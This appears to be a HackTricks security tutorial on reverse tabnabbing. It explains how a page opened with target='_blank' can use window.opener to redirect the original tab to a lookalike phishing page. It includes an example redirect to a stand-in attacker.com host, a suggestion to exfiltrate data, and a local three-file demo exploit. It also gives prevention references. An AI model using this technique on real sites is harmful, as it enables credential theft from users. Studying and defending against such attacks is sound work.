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https://github.com/carlospolop/hacktricks
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90 lines
3.7 KiB
Markdown
90 lines
3.7 KiB
Markdown
# Reverse Tab Nabbing
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## Description
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In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control \(a **malicious** **website**\). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.
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If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
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A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
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However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** \(maybe modifying javascript events to ex-filtrate info to a server controlled by him?\)
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## Overview
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### With back link
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Link between parent and child pages when prevention attribute is not used:
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### Without back link
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Link between parent and child pages when prevention attribute is used:
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### Examples <a id="examples"></a>
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Create the following pages in a folder and run a web server with `python3 -m http.server`
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Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
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{% code title="vulnerable.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<h1>Victim Site</h1>
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<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
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</body>
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</html>
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```
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{% endcode %}
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{% code title="malicious.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<script>
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window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
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</script>
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</body>
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</html>
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```
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{% endcode %}
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{% code title="malicious\_redir.html" %}
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```markup
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<!DOCTYPE html>
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<html>
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<body>
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<h1>New Malicious Site</h1>
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</body>
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</html>
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```
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{% endcode %}
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### Accessible properties <a id="accessible-properties"></a>
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The malicious site can only access to the following properties from the **opener** javascript object reference \(that is in fact a reference to a **window** javascript class instance\) in case of **cross origin** \(cross domains\) access:
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* `opener.closed`: Returns a boolean value indicating whether a window has been closed or not.
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* `opener.frames`: Returns all iframe elements in the current window.
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* `opener.length`: Returns the number of iframe elements in the current window.
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* `opener.opener`: Returns a reference to the window that created the window.
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* `opener.parent`: Returns the parent window of the current window.
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* `opener.self`: Returns the current window.
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* `opener.top`: Returns the topmost browser window.
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If the domains are the same then the malicious site can access all the properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference.
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## Prevention
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Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
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## References
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{% embed url="https://owasp.org/www-community/attacks/Reverse\_Tabnabbing" %}
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\*\*\*\*
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